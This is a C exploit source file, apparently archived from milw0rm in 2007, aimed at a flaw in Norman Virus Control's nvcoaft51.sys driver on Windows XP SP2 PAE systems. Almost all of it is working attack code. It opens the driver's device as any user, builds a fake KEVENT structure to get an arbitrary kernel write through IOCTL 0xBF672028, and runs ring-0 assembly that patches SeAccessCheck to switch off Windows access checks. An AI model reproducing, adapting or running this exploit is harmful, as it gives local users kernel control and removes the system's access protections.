/*
Norman Virus Control nvcoaft51.sys ioctl BF672028 exploit
Abstract
nvcoaft51.sys driver receive as parameter in some ioctl's
a pointer to a KEVENT struct, calling KeSetEvent without
any prior check.
The device created by the driver (NvcOa) can be opened by
any user.
As result, a user can send a IOCTL with a fake KEVENT
struct and finish executing code at ring0
Author
inocraM - inocram[at]48bits[dot]com
48bits I+D team
www.48bits.com
OS
Tested against Windows XP SP2 (spanish) with a PAE kernel.
For educational purposes ONLY
*/
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>
#define XPLT_KEVENT_IOCTL 0xbf672028
/* PSAPI */
typedef BOOL (WINAPI * ENUM_DEVICE_DRIVERS)(LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded);
typedef DWORD (WINAPI * GET_DEVICE_DRIVER_BASE_NAME)(LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize);
typedef struct _PS
{
HMODULE hLib;
ENUM_DEVICE_DRIVERS pEnumDeviceDrivers;
GET_DEVICE_DRIVER_BASE_NAME pGetDeviceDriverBaseName;
}PS, *PPS;
VOID
psUnload(PPS pps)
{
if(pps)
{
if(pps->hLib)
{
FreeLibrary(pps->hLib);
}
free(pps);
}
}
PPS
psLoad()
{
PPS pps;
pps = (PPS) malloc(sizeof(PS));
if(pps)
{
pps->hLib = LoadLibraryA("psapi");
if(pps->hLib)
{
pps->pEnumDeviceDrivers = (ENUM_DEVICE_DRIVERS)GetProcAddress(pps->hLib, "EnumDeviceDrivers");
pps->pGetDeviceDriverBaseName = (GET_DEVICE_DRIVER_BASE_NAME)GetProcAddress(pps->hLib,"GetDeviceDriverBaseNameA");
if(!pps->pEnumDeviceDrivers || !pps->pGetDeviceDriverBaseName)
{
psUnload(pps);
pps = NULL;
}
}
else
{
free(pps);
pps = NULL;
}
}
return pps;
}
BOOL
psEnumDeviceDrivers(PPS pps, LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded)
{
return pps->pEnumDeviceDrivers(lpImageBase, cb, lpcbNeeded);
}
DWORD
psGetDeviceDriverBaseName(PPS pps, LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize)
{
return pps->pGetDeviceDriverBaseName(ImageBase, lpBaseName, nSize);
}
LPVOID
psGetImageBaseByBaseName(PPS pps, LPCSTR szName)
{
DWORD dwSize = 0;
LPVOID *pDevices = NULL;
LPVOID pResult = NULL;
if(psEnumDeviceDrivers(pps, NULL, 0, &dwSize) && (dwSize > 0))
{
pDevices = (LPVOID*)malloc(dwSize);
if(pDevices)
{
if(psEnumDeviceDrivers(pps, pDevices, dwSize, &dwSize))
{
DWORD i = 0;
DWORD dwNumberOfDrivers;
dwNumberOfDrivers = dwSize / sizeof(LPVOID);
while((i < dwNumberOfDrivers) && (NULL == pResult))
{
char szBaseName[MAX_PATH];
if(psGetDeviceDriverBaseName(pps, pDevices[i], szBaseName, sizeof(szBaseName)))
{
if(!_stricmp(szBaseName,szName))
{
pResult = pDevices[i];
}
}
i++;
}
}
free(pDevices);
}
}
return pResult;
}
/* OS detection */
#define OS_VERSION_UNKNOWN 0x00000000
#define OS_VERSION_NT 0x00010000
#define OS_VERSION_9X 0x00020000
#define OS_VERSION_WIN32S 0x00030000
#define OS_VERSION_NT4 OS_VERSION_NT + 0x00001000
#define OS_VERSION_2K OS_VERSION_NT + 0x00002000
#define OS_VERSION_XP OS_VERSION_NT + 0x00003000
#define OS_VERSION_2K3 OS_VERSION_NT + 0x00004000
#define OS_VERSION_VISTA OS_VERSION_NT + 0x00005000
#define OS_VERSION_95 OS_VERSION_9X + 0x00001000
#define OS_VERSION_98 OS_VERSION_9X + 0x00002000
#define OS_VERSION_ME OS_VERSION_9X + 0x00003000
DWORD
GetWindows9xVersion(POSVERSIONINFOEXA posvi)
{
DWORD dwVersion;
if(posvi->dwMajorVersion == 4)
{
switch(posvi->dwMinorVersion)
{
case 0:
dwVersion = OS_VERSION_95;
break;
case 10:
// TODO : we need extra code. this can be Windows ME
dwVersion = OS_VERSION_98;
break;
case 90:
dwVersion = OS_VERSION_ME;
break;
default:
dwVersion = OS_VERSION_UNKNOWN;
}
}
else
{
dwVersion = OS_VERSION_UNKNOWN;
}
return dwVersion;
}
DWORD
GetWindowsNtVersion(POSVERSIONINFOEXA posvi, PUINT pServicePack)
{
DWORD dwVersion;
switch(posvi->dwMajorVersion)
{
case 6:
dwVersion = OS_VERSION_VISTA;
break;
case 5:
switch(posvi->dwMinorVersion)
{
case 2:
dwVersion = OS_VERSION_2K3;
break;
case 1:
dwVersion = OS_VERSION_XP;
break;
case 0:
dwVersion = OS_VERSION_2K;
break;
default:
dwVersion = OS_VERSION_UNKNOWN;
}
break;
case 4:
case 3:
case 2:
case 1:
case 0:
dwVersion = OS_VERSION_NT4;
break;
default:
dwVersion = OS_VERSION_UNKNOWN;
}
// TODO : dont work correctly in various windows Versions. fix it.
if((OS_VERSION_UNKNOWN != dwVersion) && (NULL != pServicePack))
{
if(sizeof(OSVERSIONINFOEXA) == posvi->dwOSVersionInfoSize)
{
(*pServicePack) = posvi->wServicePackMajor;
}
else
{
// TODO : parse szCSDVersion
}
}
return dwVersion;
}
// TODO : doesnt find correct SP for various windows versions, fix!
DWORD
GetWindowsVersionBase(PUINT pServicePack)
{
OSVERSIONINFOEXA osvi;
DWORD dwVersion;
if(pServicePack)
{
(*pServicePack) = 0;
}
memset(&osvi, 0, sizeof(OSVERSIONINFOEXA));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA);
if(FALSE == GetVersionExA((LPOSVERSIONINFOA)&osvi))
{
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
if(!GetVersionExA((LPOSVERSIONINFOA)&osvi))
{
return OS_VERSION_UNKNOWN;
}
}
switch(osvi.dwPlatformId)
{
case VER_PLATFORM_WIN32_NT:
dwVersion = GetWindowsNtVersion(&osvi, pServicePack);
break;
case VER_PLATFORM_WIN32_WINDOWS:
dwVersion = GetWindows9xVersion(&osvi);
break;
case VER_PLATFORM_WIN32s:
dwVersion = OS_VERSION_WIN32S;
break;
default:
dwVersion = OS_VERSION_UNKNOWN;
}
return dwVersion;
}
DWORD
GetWindowsVersion(PUINT pServicePack)
{
static BOOL bFirstCall = TRUE;
static DWORD OsVersion;
static UINT ServicePack;
if(bFirstCall)
{
OsVersion = GetWindowsVersionBase(&ServicePack);
bFirstCall = FALSE;
}
if(pServicePack)
{
(*pServicePack) = ServicePack;
}
return OsVersion;
}
HANDLE
OpenDevice(LPCSTR szDevice, DWORD dwDesiredAccess, DWORD dwShareMode)
{
return CreateFileA(szDevice,dwDesiredAccess,dwShareMode,NULL,OPEN_EXISTING,0,NULL);
}
VOID
CloseDevice(HANDLE hDevice)
{
CloseHandle(hDevice);
}
BOOL
xpltCheckWindowsVersion()
{
DWORD dwOsVersion;
BOOL bResult = FALSE;
UINT ServicePack;
printf("(*)Checking OS Version...\n");
dwOsVersion = GetWindowsVersion(&ServicePack);
if((OS_VERSION_XP == dwOsVersion) && (ServicePack == 2))
{
printf("(+)Detected Windows XP SP2.\n");
bResult = TRUE;
}
else
{
printf("(-)This exploit only runs on Windows XP SP2. Sorry.\n");
}
return bResult;
}
HANDLE
xpltOpenNvc0a()
{
HANDLE hDevice;
printf("(*)Opening NvcOa device...\n");
hDevice = OpenDevice("\\\\.\\NvcOa", GENERIC_READ + GENERIC_WRITE, 0);
if(INVALID_HANDLE_VALUE != hDevice)
{
printf("(+)Successfully opened NvcOa.\n");
}
else
{
printf("(-)Unable to open NvcOa. Sorry.\n");
}
return hDevice;
}
VOID
xpltCloseNvc0a(HANDLE hDevice)
{
CloseDevice(hDevice);
printf("(+)NvcOa device closed.\n");
}
PPS
xpltInitializePsApi()
{
PPS pps;
printf("(*)Loading PSAPI...\n");
pps = psLoad();
if(NULL != pps)
{
printf("(+)PSAPI loaded OK.\n");
}
else
{
printf("(-)Unable to load PSAPI. Sorry.\n");
}
return pps;
}
VOID
xpltFreePsApi(PPS pps)
{
psUnload(pps);
printf("(+)PSAPI Unloaded.\n");
}
LPBYTE
xpltGetKernelBase(PPS pps, PBOOL pbPaeKernel)
{
LPBYTE pKernelBase;
printf("(*)Looking for NTOSKRNL base...\n");
(*pbPaeKernel) = FALSE;
pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTOSKRNL.EXE");
if(pKernelBase)
{
printf("(+)NTOSKRNL base found at %#x.\n",pKernelBase);
}
else
{
pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTKRNLPA.EXE");
if(pKernelBase)
{
printf("(+)NTOSKRNL(PAE) base found at %#x.\n",pKernelBase);
if(pbPaeKernel)
{
(*pbPaeKernel) = TRUE;
}
}
else
{
printf("(-)Unable to find NTOSKRNL base. Sorry.\n");
}
}
return pKernelBase;
}
/*
when the ioctl with a fake event structure is sent
a dword with the opcode "jmp[ecx]" is written and
this code is reached.
Be careful writing your own shellcode. Remember that
u are at DPC level
*/
__declspec(naked)
void
xpltPatchAndGo (void)
{
__asm
{
add esp,4
pop esi /* get a return addr to use as reference */
mov dword ptr[esi-0x60], 0x8B047289 /* patch the jmp[ecx] with the correct code */
mov word ptr[esi+0xE5303], 0x9090 /* patch SeAccessCheck :o) */
mov esp, ebp /* reconstruct the stack */
add esp, 0x10
xor bl, bl /* set IRQL value */
xor edi, edi /* set return value */
sub esi, 0x759F
push esi /* set retun address... */
ret /* and go */
}
}
VOID
xpltExecuteExploit(HANDLE hDevice, PBYTE pNtosBase, BOOL bPaeKernel)
{
#ifdef _DEBUG
DebugBreak();
#endif
if(!bPaeKernel)
{
printf("(-)This exploit is only runs on a PAE kernel system. Sorry.\n");
}
else
{
DWORD dwReturnedBytes;
DWORD Buffer[1024]; /* user buffer size is not checked */
/* properly so i use a big enough buffer */
/* and i dont worry abaut it */
DWORD Event[31]; /* our event struct */
printf("(*)Trying to exploit the NvCoaft51 KeSetEvent vuln...\n");
printf("(*)Writing fake event struct...\n");
*(BYTE*)Event = 1; /* set event type as Synchronization Event */
Event[2] = (DWORD)&(Event[3]); /* set event wait list as not empty so in */
/* event[3] start the first wait block */
Event[3] = (DWORD)&(Event[4]); /* set first element of the wait list */
/* event[4] will be our wait block */
((WORD*)Event)[17] = 1; /* set the wait block type to WaitAny */
Event[5] = (DWORD)&(Event[7]); /* set the trhead for the wait block, so */
/* event[7] will be our thread start */
Event[7] = (DWORD)xpltPatchAndGo; /* i put the shellcode addr on the first */
/* dword of the thread. This value is not */
/* checked by KeSetEvent related code, and */
/* the event struct will remain referenced */
/* by ecx,so writing a jmp[ecx] the */
/* shellocde will be reached */
Event[30] = (DWORD)&(Event[10]); /* fill thread wait block list with data */
/* so in event[10] start this wait block. */
/* First two dwords of the kwait block */
/* struct are a list entry. system will */
/* try to remove a item from this double */
/* linked list, and as consecuence, we */
/* can write an arbitrary dword at any */
/* address */
Event[10] = 0x000021FF; /* first entry will be a opcode, jmp[ecx] */
Event[11] = (DWORD)(pNtosBase + 0x291B4); /* second entry will be the address of th */
/* next opcode addr, and as result we will */
/* jmp to our shellcode */
Buffer[0] = (DWORD)(((PBYTE)(&Event)) - 0x84C); /* store our "event" in the ioctl buffer */
/* and explit it :o) */
printf("(*)Sending IOCTL...\n");
DeviceIoControl(hDevice,XPLT_KEVENT_IOCTL,Buffer,sizeof(Buffer),Buffer,sizeof(Buffer),&dwReturnedBytes,NULL);
printf("(+)IOCT sent. SeAccessCheck is now patched???\n");
}
}
VOID
xpltExecute()
{
if(xpltCheckWindowsVersion())
{
PPS pps;
pps = xpltInitializePsApi();
if(NULL != pps)
{
LPBYTE pKernelBase;
BOOL bPaeKernel;
pKernelBase = xpltGetKernelBase(pps,&bPaeKernel);
if(NULL != pKernelBase)
{
HANDLE hDevice;
hDevice = xpltOpenNvc0a();
if(INVALID_HANDLE_VALUE != hDevice)
{
xpltExecuteExploit(hDevice, pKernelBase, bPaeKernel);
xpltCloseNvc0a(hDevice);
}
}
xpltFreePsApi(pps);
}
}
}
int main(int argc, char * argv[])
{
UNREFERENCED_PARAMETER(argc);
UNREFERENCED_PARAMETER(argv);
#ifdef _DEBUG
DebugBreak();
#endif
xpltExecute();
return 0;
}
// milw0rm.com [2007-08-30]
